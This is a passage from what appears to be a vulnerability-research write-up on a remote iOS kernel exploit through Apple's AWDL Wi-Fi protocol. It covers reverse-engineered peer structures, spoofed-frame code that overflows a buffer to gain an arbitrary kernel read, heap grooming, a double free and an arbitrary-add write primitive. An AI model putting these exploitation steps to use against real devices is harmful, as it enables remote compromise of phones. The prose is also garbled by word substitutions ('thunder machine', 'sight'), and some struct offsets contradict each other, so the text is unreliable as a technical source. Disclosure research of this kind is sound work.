/+0x0008 */  uint32_t ref_cnt;

/+0x000C */  uint32_t bucket;

/+0x0010 */  void *peer_list_flink;

/+0x0018 */  void *peer_list_blink;

/+0x0020 */  struct ether_addr peer_mac;

/+0x0026 */  uint8_t pad1[2];

/+0x0028 */  struct IO80211AWDLPeerSupervisor *peer_manager;

/+0x0030 */  uint8_t pad8[384];

/+0x01B0 */  uint16_t HT_FLAGS;

/+0x01B2 */  uint8_t HT_features[26];

/+0x01CC */  uint8_t HT_caps;

/+0x01CD */  uint8_t pad10[14];

/+0x01DB */  uint8_t VHT_caps;

/+0x01DC */  uint8_t pad9[732];

/+0x0418 */  uint8_t added_to_fw_cache;

/+0x04B9 */  uint8_t is_on_correct_infra_channel;

/+0x04BA */  uint8_t pad0[6];

/+0x04C0 */  uint32_t nsync_total_len;

/+0x0404 */  uint8_t nsync_tlv_buf[64];

/+0x0504 */  uint32_t flags_from_dp_tlv;

/+0x0508 */  uint8_t pad14[19];

/+0x051B */  uint32_t n_sync_tree_macs;

/+0x0517 */  uint8_t pad20[126];

/+0x059D */  uint8_t peer_infra_channel;

/+0x059E */  struct ether_addr peer_infra_mac;

/+0x05A4 */  struct ether_addr some_other_mac;

/+0x05AA */  uint8_t country_code[3];

/+0x05AD */  uint8_t pad5[41];

/+0x05D6 */  uint16_t social_channels;

/+0x0508 */  uint64_t last_AF_timestamp;

/+0x05E0 */  uint8_t pad17[116];

/+0x0654 */  uint8_t chanseq_encoding;

/+0x0655 */  uint8_t chanseq_count;

/+0x0656 */  uint8_t chanseq_step_count;

/+0x0657 */  uint8_t chanseq_dup_count;

/+0x0658 */  uint8_t pad19[4];

/+0x0650 */  uint16_t chanseq_fill_channel;

/+0x065E */  uint8_t chanseq_channels[32];

/+0x067E */  uint8_t pad2[64];

/+0x06BE */  uint8_t raw_chanseq[64];

/+0x06FE */  uint8_t pad18[194];

/+0x07C0 */  uint64_t last_UMI_update_timestamp;

/+0x0708 */  struct IO80211AWDLPeer *UMI_chain_flink;

/+0x07D0 */  uint8_t pad16[8];

/+0x07D8 */  uint8_t is_in_umichain;

/+0x0709 */  uint8_t pad15[79];

/+0x0828 */  uint8_t datapath_tlv_flags_bit_5_dualband;

/+0x0829 */  uint8_t pad12[2];

/+0x082B */  uint8_t SDB_mode;

/+0x082C */  uint8_t pad6[28];

/+0x0848 */  uint8_t did_parse_datapath_tlv;

/+0x0849 */  uint8_t pad7[1011];

/+0x0C3C */  uint32_t UMI_feature_mask;

/+0x0C40 */  uint8_t pad22[2568];

/+0x1648 */  struct ether_addr sync_tree_macs[10]; // overflowable

/+0x1684 */  uint8_t sync_error_count;

/+0x1685 */  uint8_t had_chanseq_tlv;

/+0x1686 */  uint8_t pad3[2];

/+0x1688 */  uint64_t per_second_timestamp;

/+0x1690 */  uint32_t n_frames_in_last_second;

/+0x1694 */  uint8_t pad21[4];

/+0x1698 */  void *steering_msg_blob;  // NEW FIELD

/+0x16A0 */  uint32_t steering_msg_blob_size;  // NEW FIELD


The construction of fields in my reverse-engineered model of IO80211AWDLPeer. You could presumably presumably effectively elaborate and edit buildings in C-syntax like this the make the most of of the Native Kinds window in IDA: generous-clicking a type and choosing "Edit..." brings up an interactive edit window; or not it's very secure for reversing superior recordsdata buildings trustworthy like this.

There are glossy fields! If reality be instructed, there is a model glossy pointer self-discipline and dimension self-discipline beneficiant on the tip of the IO80211AWDLPeer object. But what's a steering_msg_blob? What's BSS Guidance?

Let's eradicate a decide about at the place the steering_msg_blob pointer is earlier.

It be distributed in IO80211AWDLPeer::populateBssSteeringMsgBlob, by method of the subsequent title stack:



bssSteeringStateMachine typically referred to as from many places, along with IO80211AWDLPeer::actionFrameReport when it parses a BSS Guidance TLV (type 0x1d), so it seems like we will certainly strain this thunder machine remotely a way or the alternative.

The steering_msg_blob pointer is freed in IO80211AWDLPeer::freeResources when the IO80211AWDLPeer object is destroyed:


  if ( steering_msg_blob )


    kfree(steering_msg_blob, this->steering_msg_blob_size);

This provides us our first glossy former: an arbitrary free. With out wanting to reverse any of the BSS Guidance code we will slightly with out problems overflow from the sync_tree_macs self-discipline into the steering_msg_blob and steering_msg_blog_size fields, ambiance them to arbitrary values.

If we then rely on the sight to timeout and be destroyed, when ::freeResources typically referred to as this may title kfree with our arbitrary pointer and dimension.

The steering_msg_blob is moreover earlier in a single further dwelling:

In IO80211AWDLPeerSupervisor::handleUmiTimer the IO80211AWDLPeerSupervisor walks a linked-list of buddies (a separate linked-list from that earlier to retailer the whole buddies) and from each of the buddies in that listing it assessments whether or not that sight and the current instrument are on the identical channel and in an availability window:

if ( peer_manager->current_channel_==sight->chanseq_channels[peer_manager->current_chanseq_step] ) {


If the UMI timer has certainly fired when each this instrument and the sight from the UMI listing are on the identical channel in an overlapping availability window then the IO80211AWDLPeerSupervisor removes the sight from the UMI listing, reads the bss_steering_blob from the sight and passes it as a result of the closing argument to the sight's::shipUnicastMI means.

This passes that blob to IO80211AWDLPeerSupervisor::constructMasterIndicationTemplate to invent an AWDL grasp indication body earlier than making an try to transmit it.

Let's decide about at how constructMasterIndicationTemplate makes use of the steering_msg_blob:

The third argument to constructMasterIndicationTemplate is is_unicast_MI which signifies whether or not this vogue was referred to as by IO80211AWDLPeerSupervisor::shipUnicastMI (which objects it to 1) or IO80211AWDLPeerSupervisor::updatePrimaryPayloadMI (which objects it to 0.)

If constructMasterIndicationTemplate was referred to as to invent a unicast MI body and the sight's feature_mask self-discipline has 0xD'th bit house then the steering_msg_blob will seemingly be handed to IO80211AWDLPeerSupervisor::buildMultiPeerBssSteeringTlv. This method reads a dimension from the second dword within the steering_msg_blob and assessments whether or not it's smaller than the closing house within the body template buffer; whether it is, then that dimension price is earlier to repeat that assortment of bytes from the steering_msg_blob pointer right into a TLV (type 0x1d) within the template body which is ready to then be despatched out over the air!

There's clearly a course proper right here to get a semi-arbitrary learn; however really triggering this may occasionally presumably presumably require slightly trustworthy just a little further reversing. We want the UMI timer to be firing and we moreover want to get a sight into the UMI linked listing.

At this degree a colourful query to demand is, what precisely is BSS Guidance? Somewhat of googling tells us that or not it's fragment of 802.11v; an area of administration requirements for endeavor networks. One of many developed beneficial properties of endeavor networks is the talent to seamlessly traipse units between varied entry beneficial properties which make fragment of the identical neighborhood; for example when you stroll throughout the workplace together with your cell phone or if there are too many units related to at least one entry degree. AWDL is now not fragment of 802.11v. My most fascinating guess as to what's happening proper right here is that AWDL is driving the 802.11v AP roaming code to look at to traipse AWDL purchasers on to a recurring infrastructure neighborhood. I decide this code was added to toughen Sidecar, however each little factor beneath is basically basically based mostly handiest on static reversing.

IO80211PeerBssSteeringManager::bssSteeringStateMachine is accountable for driving the BSS steering thunder machine. The first argument is a bssSteeringEvent enum price representing an match which the thunder machine must job. Utilizing the IO80211PeerBssSteeringManager::getEventName means we will resolve the names for the whole occasions which the thunder machine will job and the make the most of of the IO80211PeerBssSteeringManager::getStateName means we will resolve the names of the states which the thunder machine can even even be in. All as soon as extra the make the most of of the native varieties window in IDA we will elaborate enums for these which is ready to invent the HexRays decompiler output important further readable:

enum BSSSteeringState














enum bssSteeringEvent
























The current thunder is maintained in a steering context object, owned by the IO80211PeerBssSteeringManager. Reverse engineering the thunder machine code we will provide you with the subsequent powerful definition for the steering context object:

struct __attribute__((packed)) BssSteeringCntx


  uint32_t first_field;

  uint32_t service_type;

  uint32_t peer_count;

  uint32_t function;

  struct ether_addr peer_macs[8];

  struct ether_addr infraBSSID;

  uint8_t pad4[6];

  uint32_t infra_channel_from_datapath_tlv;

  uint8_t pad8[8];

  char ssid[32];

  uint8_t pad1[12];

  uint32_t num_peers_added_to_umi;

  uint8_t pad_10;

  uint8_t pendingTransitionToNewState;

  uint8_t pad7[2];

  enum BSSSteeringState current_state;

  uint8_t pad5[8];

  struct IOTimerEventSource *bssSteeringExpiryTimer;

  struct IOTimerEventSource *bssSteeringStageExpiryTimer;

  uint8_t pad9[8];

  uint32_t steering_policy;

  uint8_t inProgress;


Our objective proper right here is attain IO80211AWDLPeer::populateBssSteeringMsgBlob which typically referred to as by IO80211PeerBssSteeringManager::processPostSyncAnalysis which typically referred to as when the thunder machine is within the BSS_STEERING_STATE_STEERING_SYNC_POST_EVAL thunder and receives the BSS_STEERING_PRESYNC_EVAL_DONE match.

Each and every time a thunder is evaluated it is going to most definitely presumably commerce the current thunder and optionally house the stateMachineTriggeredEvent variable to a model glossy match and house shipEventToNewState to 1. This method the thunder machine can strain itself forwards to a model glossy thunder. Let's try and achieve the course to our goal thunder:

The thunder machine begins in BSS_STEERING_STATE_IDLE. Once we ship the BSS steering TLV for the primary time this injects each the BSS_STEERING_REMOTE_STEERING_TRIGGER or BSS_STEERING_RECEIVED_DIRECTED_STEERING_CMD match looking on whether or not the steeringMsgID within the TLV was was 6 or 0.

This causes a reputation to IO80211PeerBssSteeringManager::processBssSteeringEnabled which parses a steering_msg building which itself was parsed from the bss steering tlv; we are going to eradicate a decide about at each of those in a second. If the steering supervisor is joyful with the contents of the steering_msg building from the TLV it begins two IOTimerEventSources: the bssSteeringExpiryTimer and the bssSteeringStageExpiryTimer. The SteeringExpiry timer will abort the whole steering job when it triggers, which happens after only a few seconds. The StageExpiry timer allows the thunder machine to invent growth asynchronously. When it expires this may title the IO80211PeerBssSteeringManager::bssSteeringStageExpiryTimerHandler objective, a snippet of which is confirmed proper right here:


  if ( cntx && cntx->pendingTransitionToNewState )



    swap ( current_state )













        goto ERR;


    finish consequence=this->bssSteeringStateMachine(this, match, ...

We can peek proper right here the 4 thunder transitions which can presumably additionally merely occur asynchronously within the background when the StageExpiry timer fires and causes occasions to be injected.

From BSS_STEERING_STATE_IDLE, after the timers are initialized the code objects the pendingTranstionToNewState flag and updates the thunder to BSS_STEERING_STATE_PRE_STEERING_SYNC_EVAL:



We can now peek that this may cause the the BSS_STEERING_DO_PRESYNC_EVAL match to be injected into the steering thunder machine and we attain the subsequent code:






Right right here the BSS steering TLV will get parsed and reformatted right into a format succesful for the BSS steering code, presumably that is the compatibility layer between the 802.11v endeavor WiFi BSS steering code and AWDL.

We want the IO80211PeerBssSteeringManager::processPreSyncAnalysis to come back a steering_policy price of 7. The code which determines that is terribly subtle; within the tip it seems that if the goal instrument is at the moment related to a 5Ghz neighborhood on a non-DFS channel then we will get it to come back the efficient steering coverage price to succeed in BSS_STEERING_STATE_STEERING_SYNC_POST_EVAL. DFS channels are dynamic and can be disabled at runtime if radar is detected. There's no requirement that the attacker is moreover on the identical 5GHz neighborhood. There could presumably presumably effectively moreover be yet another course to succeed in the essential thunder however this may enact.

At this degree we not directly attain processPostSyncAnalysis and the steeringMsgBlob will seemingly be distributed and the UMI timer armed. When it begins firing the code will try and browse the steering_msg_blob pointer and ship the buffer it beneficial properties to over the air.

Let's decide about concretely at what's required for the learn:

We want two spoofer buddies:

struct ether_addr reader_peer=*(ether_aton("22: 22:aa: 22: 00: 00"));

struct ether_addr steerer_peer=*(ether_aton("22: 22:bb: 22: 00: 00"));

The goal instrument wishes to endure in thoughts of each these buddies so we allocate the reader sight by spoofing a body from it:


       WIFI(dst, reader_peer),





       UNICAST_DATAPATH(0x1307 | 0x800),


There are two beneficial issues proper right here:

1) This sight will decide up a channel sequence which is empty; that is important as a result of it means we will construct in strain a spot between the allocation of the steering_msg_blob by processPostSyncAnalysis and its make the most of within the UMI timer. Buy that we noticed earlier that the unicast MI template handiest will get constructed when the UMI timer fires throughout a sight availability window; if the sight has no availability home windows, then the template could presumably presumably effectively now not be up to date and the steering_msg_blob could presumably presumably effectively now not be earlier. We can with out problems commerce the channel sequence later by sending a varied TLV.

2) The flags within the UNICAST_DATAPATH TLV. That 0x800 in all equity beneficial, with out it this happens:

This tweet from @mdowd on Might presumably moreover 27th 2020 talked only a few double free in BSS reachable by method of AWDL

We'll get to that...

The subsequent step is to allocate the steerer_peer and launch steering the reader:


      WIFI(dst, steerer_peer),





      BSS_STEERING(&reader_peer, 1),


Let's decide about on the bss_steering TLV:

struct bss_steering_tlv {

  uint8_t type;

  uint16_t dimension;

  uint32_t steeringMsgID;

  uint32_t steeringMsgLen;

  uint32_t peer_count;

  struct ether_addr peer_macs[8];

  struct ether_addr BSSID;

  uint32_t steeringTimeoutThreshold;

  uint32_t SSID_len;

  uint8_t infra_channel;

  uint32_t steeringCmdFlags;

  char SSID[32];

} __attribute__((packed));

We want to fastidiously achieve these values; the valuable fragment for the exploit nonetheless is that we will specify as a lot as Eight buddies to be suggested on the identical time. For this occasion we are going to true steer one sight. Right right here we invent a bss_steering_tlv with handiest one peer_mac house to the mac deal with of reader_peer. If we now decide up house each little factor up as a result of it could presumably be this must cause the IO80211AWDLPeer for the reader_peer object to allocate a steering_msg_blob and launch the UMI timer firing making an try to ship that blob in a UMI


UMIs are Unicast Master Indication frames; not like typical AWDL Master Indication frames UMIs are despatched to unicast MAC addresses.

We can now ship a ultimate body:

char overflower[0x80]={0};



       WIFI(dst, reader_peer),






       SYNC_TREE((struct ether_addr*)overflower,

                  sizeof(overflower)/sizeof(struct ether_addr)),


There are two beneficial elements to this body:

1) We've included a SyncTree TLV which is ready to house off the buffer overflow. SYNC_TREE will copy the MAC addresses in overflower into the sync_tree_macs inline buffer within the IO80211AWDLPeer:

/+0x1648 */  struct ether_addr sync_tree_macs[10];

/+0x1684 */  uint8_t sync_error_count;

/+0x1685 */  uint8_t had_chanseq_tlv;

/+0x1686 */  uint8_t pad3[2];

/+0x1688 */  uint64_t per_second_timestamp;

/+0x1690 */  uint32_t n_frames_in_last_second;

/+0x1694 */  uint8_t pad21[4];

/+0x1698 */  void *steering_msg_blob;

/+0x16A0 */  uint32_t steering_msg_blob_size;

sync_tree_macs is at offset +0x1648 within the IO80211AWDLPeer object and the steering_msg_blob is at +0x1698 so by inserting our arbitrary learn goal 0x50 bytes in to the SYNC_TREE tlv we are going to overwrite the steering_msg_blob, on this case with the price 0x4141414141414141.

2) The completely different beneficial fragment is that we now not ship the CHAN_SEQ_EMPTY TLV, which means this sight will make the most of the channel sequence within the sync_params TLV. This beneficial properties a channel sequence the place the sight publicizes they're listening in each Availability Window (AW), which means that the subsequent time the UMI timer fires whereas the goal instrument is moreover in an AW this may learn the corrupted steering_msg_blob pointer and examine to invent a UMI the make the most of of it. If we sniff for UMI frames coming from the goal MAC deal with (dst on this occasion) and parse out TLV 0x1d we are going to achieve our (nearly) arbitrarily learn reminiscence!

In this case for advantageous making an try to learn from an deal with like 0x4141414141414141 will nearly indubitably cause a kernel scare, so we now decide up quiet bought further work to enact.

There are some beneficial obstacles for this learn contrivance: firstly, the steering_msg_blob has its dimension as a result of the second dword member and that dimension will seemingly be earlier as a result of the dimensions of reminiscence to repeat into the UMI. This implies that we will handiest learn from places the place the second dword pointed to is a diminutive price a lot lower than spherical 800 (the readily available house within the UMI body.) That dimension moreover dictates how important will seemingly be learn. We can work with this as an preliminary arbitrary learn former nonetheless.

The second limitation is the pace of those reads; in advise to steer only a few buddies on the identical time and subsequently raze only a few reads in parallel we are going to want some further strategies. For now, the ultimate discover possibility is to attend for steering to fail and restart the steering job. This takes spherical Eight seconds, after which the steering job can even even be restarted by the make the most of of a steeringMsgId price of 0 moderately than 6 in within the BSS_STEERING TLV. 

At this degree we will get reminiscence despatched encourage to us geared up it meets some necessities. Helpfully if the reminiscence would not meet these necessities as prolonged as a result of the digital deal with was mapped and readable the code could presumably presumably effectively now not atomize so we now decide up some leeway.

My first realizing proper right here was to make the most of the physmap, an (nearly) 1:1 digital mapping of the bodily deal with house in digital reminiscence. The flow into of the physmap deal with is randomized on iOS nevertheless the lumber is smaller than the bodily deal with house dimension, which means there is a digital deal with in there it's possible you'll presumably presumably effectively at all times learn from. This provides you a fetch digital deal with to dereferences to launch searching for pointers to take a look at.

It was spherical this degree within the enchancment of the exploit that Apple launched iOS 13.3.1 which patched the heap overflow. I essential to moreover begin now not a lot lower than some make of demo at this degree so I launched a terribly recurring proof-of-realizing which drove the BSS Guidance thunder machine a methods sufficient to learn from the physmap together with just a little javascript snippet it's possible you'll presumably presumably effectively pace in Safari to spray bodily reminiscence to show that you simply in actuality have been studying person recordsdata. Clearly, that is now not all that compelling; the additional compelling demo is quiet only a few months down the avenue.

Discussing these problems with fellow Venture Zero researchers Brandon Azad and Jann Horn, Brandon talked about that on iOS the flow into of the zone map, earlier for a complete lot of normal kernel heap allocations, wasn't very randomized in the slightest degree. I had checked out this the make the most of of DTrace on MacOS and it regarded considerably randomized, however dumping kernel construction recordsdata on iOS is now not slightly as trivial as ambiance a boot argument to disable SIP and allow kernel DTrace.

Brandon had now not too prolonged previously executed the exploit for his oob_timestamp laptop virus and as fragment of that he'd made a spreadsheet exhibiting assorted values such as a result of the flow into of the zone and kalloc maps throughout only a few reboots. And certainly, the randomization of the flow into of the zone map is extremely minimal, spherical 16 MB:













































Utilizing the Carrier Response Descriptor TLV contrivance we will allocate 16MB of reminiscence in true a handful of frames, which means we ought to face a reasonably priced probability of being in a task to securely achieve our allocations on the heap.

What would we rob to learn? We've mentioned earlier than that in advise to securely depraved the fields after the vtable within the IO80211AWDLPeer object we are going to want to know a PAC'ed vtable pointer so we might rob to learn little question one among these. If we're in a task to go looking out little question one among these we are going to moreover know the deal with of now not a lot lower than one IO80211AWDLPeer object.

Whenever you occur to invent sufficient allocations of a specific dimension in iOS they are going to are likely to traipse from lower addresses to elevated addresses. Apple has launched assorted diminutive randomizations into precisely how objects are distributed however they aren't related if we true decide concerning the ultimate sample, which is to look at to bear the digital reminiscence rental reserved for the zone map from backside to prime.

As the utmost lumber price of the zone map is smaller than its dimension there'll seemingly be a digital deal with which is ceaselessly throughout the zone map

The inadequate randomization of the zone map flow into provides us slightly a gargantuan digital reminiscence house I've dubbed the fetch probe house the place, geared up we traipse roughly from low to excessive we will safely learn.

Our heap groom is as follows:

We ship a gargantuan assortment of service_response TLVs, each of which has the subsequent make:

struct service_response_16k_id_tlv sr={0};


sr.len=sizeof(struct service_response_16k_id_tlv) - 3;





sr.v_2=0x1648; // offset

sr.val_buf[0]=6;  // msg_type

sr.val_buf[1]=0x320; // msg_id

sr.val_buf[2]=0x41414141; // marker

sr.val_buf[3]=val; // price

Every of those TLVs causes the goal instrument to invent a 16KB kalloc allocation (one bodily web web page) after which at offset +0x1648 in there write the subsequent Four dwords:





The counter price increments by one for each TLV we ship.

We construct 39 of those TLVs in each body which is ready to finish consequence within the allocation of 39 bodily pages, or over 600kb, for each AWDL body we ship, allowing us to quickly allocate reminiscence.

We cut up the groom into three sections, first sending a assortment of those spray frames, then a assortment of spoofed buddies to cause the allocation of a gargantuan assortment of IO80211AWDLPeer objects. At closing we ship yet another gargantuan assortment of the service response TLVs.

This lastly leads to a reminiscence construction approximating this:

Contained within the fetch probe house we objective to dwelling a assortment of IO80211AWDLPeer objects, surrounded by service_response groom pages with roughly incrementing counter values

If we now make the most of the BSS Guidance arbitrary learn former to learn from come the underside of the fetch probe house at offset +0x1648 from web web page boundaries, we must confidently quickly achieve little question one among many service_response TLV buffers. Since each service_response groom beneficial properties a varied counter which we will then learn, we will invent a guess for the hole between this discovered service_response buffer and the middle of the place we decide goal buddies will seemingly be and so compute a model glossy guess for the positioning of a goal sight. This method lets us enact one factor like a binary search to go looking out an IO80211AWDLPeer object moderately efficiently

Why did I achieve to learn from offset +0x1648? Because that is moreover the offset of the sync_tree_macs buffer within the IO80211AWDLPeer the place we will dwelling arbitrary recordsdata. Every of those coronary heart goal buddies is created like this:

struct peer_fake_steering_blob {

  uint32_t msg_id;

  uint32_t msg_len;

  uint32_t magic; // 0x43434343==sight

  struct ether_addr mac; // the MAC of this sight

  uint8_t pad[32];

} __attribute__((packed));

struct peer_fake_steering_blob fake_steerer={0};






  WIFI(dst, target_groom_peer),






  SYNC_TREE((struct ether_addr*)&fake_steerer,

            sizeof(struct peer_fake_steering_blob)

              /sizeof(struct ether_addr)),


The magic price 0x43434343 lets us resolve whether or not our learn has stumbled on a service_response buffer or a sight. Following that we construct the spoofed MAC deal with of this sight. This permits us to go looking out out which sight has the deal with we guessed. If we enact put together to go looking out a sight allocation we will then decide concerning the closing bytes of disclosed reminiscence; there is a excessive probability that following this sight is yet another sight, and we now decide up disclosed the primary few dozen bytes of it. Right this is a hexdump of a effectively situated sight:

An annotated hexdump of the disclosed reminiscence when two neighbouring IO80211AWDLPeer objects are stumbled on. Right right here it's possible you'll presumably presumably effectively peek the runtime values of the fields within the sight header, along with the PAC'ed vtable pointer

We can peek proper right here that we now decide up managed to go looking out two buddies subsequent to each varied. We'll title these lower_peer and upper_peer. By inserting each sprayed sight's MAC deal with within the sync_tree_macs array we're in a task to go looking out out each lower_peer and upper_peer's MAC deal with. Since we all know which guessed digital deal with we chosen we moreover know the digital addresses of lower_peer and upper_peer, and from the PAC'ed vtable pointer we will compute the KASLR lumber.

Any further we will with out problems and heaps occasions depraved the fields thought-about above by sending a gargantuan sync tree TLV containing a modified model of this dumped reminiscence:

Utilizing the disclosed reminiscence we will safely manipulate the lower fields in upper_peer the make the most of of the SyncTree buffer overflow

Unintended 0day 1 of two

Right by my experiments to get the BSS Guidance thunder machine working and into the desired thunder the place it is going to most definitely presumably presumably effectively ship UMIs, I noticed that the goal instrument would often kernel scare, even as soon as I used to be very apparent that I hadn't triggered the heap overflow vulnerability. Because it seems, I used to be by chance triggering yet another zero-day vulnerability...


This was trustworthy just a little of relating to as a result of it had now been months since I had reported the primary AWDL-essentially basically based mostly vulnerability to Apple and a restore for that had already shipped. One my early hopes for Venture Zero can be that we'll make a choice up a "be taught amplification" ticket: we might make investments beneficial effort in publicly a lot less-understood areas of vulnerability be taught and exploitation and degree to our outcomes to the affected distributors who would then make the most of their enormously larger sources to proceed this be taught. Distributors decide up sources trustworthy like provide code and invent paperwork which must invent it vastly extra easy to audit a complete lot of those assault surfaces - we might be alive to to assist on this second part as neatly.

A further pragmatic seek for of truth is that whereas the safety and product groups enact want to proceed our be taught, and enact decide up many further sources, the one beneficial useful resource they lack is time. Justifying the benefits of fixing a vulnerability which is ready to develop into public in 90 days is straightforward however extracting the utmost price from that exterior negate by investing an enormous period of time is far tougher to clarify; these groups already decide up varied targets and targets for the quarter. Time is the foremost useful resource which makes Venture Zero profitable; we get now not want to enact vulnerability triage, or invent overview, or restore bugs or any of the fairly a complete lot of issues recurring product security groups want to enact.

I degree out this on account of I stumbled over (and reported to Apple) now not one however two further remotely-exploitable radio-proximity 0-day vulnerabilities throughout this be taught, the primary of which seems to make a choice up been now not a lot lower than on some degree recognized about:

Impress Dowd is the co-founding father of Azimuth, an Australian "market-leading recordsdata security commerce". 

It be neatly recognized to all vulnerability researchers that the best method to go looking out a model glossy vulnerability is to evaluate about very fastidiously on the code come a vulnerability which was now not too prolonged previously mounted. They're occasionally ever remoted incidents and normally degree to a scarcity of discovering out or understanding throughout a full rental.

I'm emphasising this degree on account of Impress Dowd's tweet above is claiming recordsdata of a variant that wasn't so subtle to go looking out. One that was really easy to go looking out, indubitably, that it falls out by chance when you invent the slightest mistake when doing BSS Guidance. 

We noticed the objective IO80211AWDLPeer::populateBssSteeringMsgBlob earlier; or not it's accountable for allocating and populating the steering_msg_blob buffer which is ready to wind up as a result of the contents of the 0x1d TLV despatched in a AWDL BSS Guidance UMI.

At the origin of the objective they check whether or not this sight already has steering_msg_blob:

if (this->steering_msg_blob && this->steering_msg_blob_size) {


  kfree(this->steering_msg_blob, this->steering_msg_blob_size);



If it does decide up one it is going to get free'd and NULL-ed out.

They then compute the dimensions of the glossy steering_msg_blob, allocate it and bear it in:

steering_blob_size=*(_DWORD *)(msg + 0x3C) + 0x4F;




All okay.

Valid on the tip of the objective they then try and add the sight to the "UMI chain" - that is this varied linked listing of buddies with pending UMIs which we noticed earlier:


if (this->addPeerToUmiChain()) {

  if ( peer_manager

      && peer_manager->isSafeToSendUmiNow(

  this->chanseq_channels[peer_manager->current_chanseq_step + 1],0)) {


    // in a shared AW; strain UMI timer to hurry out now



} else {

  kfree(this->steering_msg_blob, this->steering_msg_blob_size);




return err;

If the sight will get effectively added to the UMI chain, they check out whether or not they'd presumably presumably ship the UMI beneficiant now (if each this instrument and the goal are in AW's on the identical channel). If that's so, they strain the UMI timer to hurry out, which triggers the code we noticed earlier to learn the steering_msg_blob, invent the UMI template and ship it.

Alternatively, if addPeerToUmiChain fails then the steering_msg_blob is freed. But not like the sooner kfree, this time they get now not NULL out the pointer earlier than returning. The vulnerability proper right here is that that self-discipline is predicted to be the proprietor of that allocation; so if we will a way or the alternative come encourage into populateBssSteeringMsgBlob once more this identical price will seemingly be freed a second time.

There's an much more easy method to house off a double-kfree nonetheless: by doing nothing.

After a interval of thunder of being inactive the IO80211AWDLPeer object will seemingly be destructed and free'd. As fragment of that the IO80211AWDLPeer::freeResources will seemingly be referred to as, which does this:


if ( steering_msg_blob ) {

  kfree(steering_msg_blob, this->steering_msg_blob_size);




This will even merely peek a price for steering_msg_blob which has already been freed and free it a second time. If an attacker have been in a task to reallocate the buffer in between the two frees they'd presumably presumably get that managed object freed, resulting in a utilize-after-free.

It really took some reversing effort to find out invent addPeerToUmiChain now not fail. The trick is that the sight wishes to make a choice up despatched a datapath TLV with the 0x800 flag house within the first dword, and that is reason we house that flag.

This vulnerability moreover opens a varied probability for the preliminary reminiscence disclosure. By steering only a few buddies or not it's that you could be presumably presumably effectively trust to make the most of this to fabricate a former the place the goal instrument will try and ship a UMI containing reminiscence from a steering_msg_blob which has been freed. With some heap grooming this may presumably allow the disclosure of each a customary allocation furthermore out-of-bounds recordsdata with out wanting to guess pointers. In the tip I chosen to observe the low zone_map entropy contrivance as I moreover essential to look at to land this distant kernel exploit the make the most of of handiest a single vulnerability.

We'll get encourage to the exploit now and examine unintended 0day 2 of two in a while...

We decide up thought-about that the sight objects look like accessed repeatedly within the background, now not true as soon as we're sending frames. That is crucial to endure in thoughts as we ogle for our subsequent corruption goal.

One possibility can even merely be to make the most of the arbitrary free former. Perchance we could presumably presumably effectively free a sight object however this may occasionally presumably presumably be subtle as a result of the reminiscence allocator would write metadata over the vtable pointer and the sight can even merely be earlier within the background earlier than we bought a guess to invent advantageous it was fetch.

One different probability can even merely be to cause a type confusion. It be that you could be presumably presumably effectively trust that you could be presumably presumably effectively achieve a really useful gadget with this type of former however I figured I'd retain purchasing for one factor else.

At this degree I began going by further AWDL code purchasing for all oblique writes I'll presumably presumably effectively achieve. Being in a task to jot down even an uncontrolled price to an arbitrary deal with typically is an efficient stepping-stone to a beefy arbitrary reminiscence write former.

There's one oblique write which stood out as notably fascinating; beneficiant initially of IO80211AWDLPeer::actionFrameReport:



  peer_manager->total_bytes_received +=frame_len;





  if ( ((absolute_time_now - per_second_timestamp) / 1000000)

        > 1024 )// greater than 1024ms distinction


    if ( frames_in_last_second>=0x21 )


        (IO80211Seek *)this,

        "%s[%d] : Bought %d Action Frames from sight %02X:%02X:%02X:%02X:%02X:%02X in 1 second. Immoral Seekn",













  else if ( frames_in_last_second>=0x21 )


    *(_DWORD *)(a2 + 20)=1;

    return 0;


  ... // proceed on to parse the body

These first three strains of the decompiler output are precisely the make of oblique write we're purchasing for:



  peer_manager->total_bytes_received +=frame_len;

The peer_manager self-discipline is at offset +0x28 within the sight object, with out problems corruptible with the linear overflow. The total_bytes_received self-discipline is a u32 at offset +0x7c80 within the sight supervisor, and frame_len is the dimensions of the WiFi body we ship so we will house this to an arbitrary price, albeit now not a lot lower than 0x69 (the minimal AWDL body dimension) and far lower than 1200 (probably larger with fragmentation nevertheless it fully would now not assist important). That arbitrary price would then get added to the u32 at offset +0x7c80 from the peer_manager pointer. This could presumably presumably be sufficient to enact a byte-by-byte write of arbitrary reminiscence, presuming you knew what was there earlier than:

By corrupting upper_peer's peer_manager pointer then spoofing a body from upper_peer we will cause an oblique write by the corrupted peer_manager pointer. The peer_manager has a dword self-discipline at offset +0x7c80 which counts the full assortment of bytes bought from all buddies; actionFrameReport will add the dimensions of the body spoofed from upper_peer to the dword on the corrupted peer_manager pointer + 0x7c80 giving us an arbitrary add former

We enact decide up a diminutive learn former already, probably sufficient to bootstrap ourselves to a beefy arbitrary learn and subsequently beefy arbitrary write. We can certainly attain this code with a corrupted peer_manager pointer and get an arbitrary add former. There's true one little self-discipline, which is ready to eradicate many further weeks to resolve: We'll scare right away after the write.

Even supposing the IO80211AWDLPeer's peer_manager self-discipline would not look like earlier typically within the background (not like the vtable), the peer_manager self-discipline will seemingly be earlier in a while within the actionFrameReport means, and since we're making an try to jot all the way down to arbitrary addresses this may nearly indubitably cause a scare.

Taking a decide about on the code, there's handiest one fetch course out of actionFrameReport:

  if ( ((absolute_time_now - per_second_timestamp) / 1000000)

        > 1024 )// greater than 1024ms distinction


    if (frames_in_last_second>=0x21)


        (IO80211Seek *)this,

        "%s[%d] : Bought %d Action Frames from sight %02X:%02X:%02X:%02X:%02X:%02X in 1 second. Immoral Seekn",













  else if ( frames_in_last_second>=0x21 )


    *(_DWORD *)(a2 + 20)=1;

    return 0;


We want to succeed in that return 0 assertion, which means we might identical to the primary if clause to be unfaithful, and the second to be appropriate.

The first assertion assessments whether or not greater than 1024 ms decide up elapsed for the reason that per_second_timestamp was up to date.

The second assertion assessments whether or not greater than 32 frames decide up been bought for the reason that per_second_timestamp was closing up to date.

So that you could be presumably presumably attain the return 0 and retain a methods from the panics on account of an invalid peer_manager pointer we need to invent advantageous that 32 frames decide up been bought from the identical spoofed sight inside a 1024ms interval.

You are confidently starting to peek why the ACK sniffing mannequin vs the timing mannequin is kindly now; if the goal had handiest bought 31 frames then making an try the arbitrary add would cause a kernel scare.

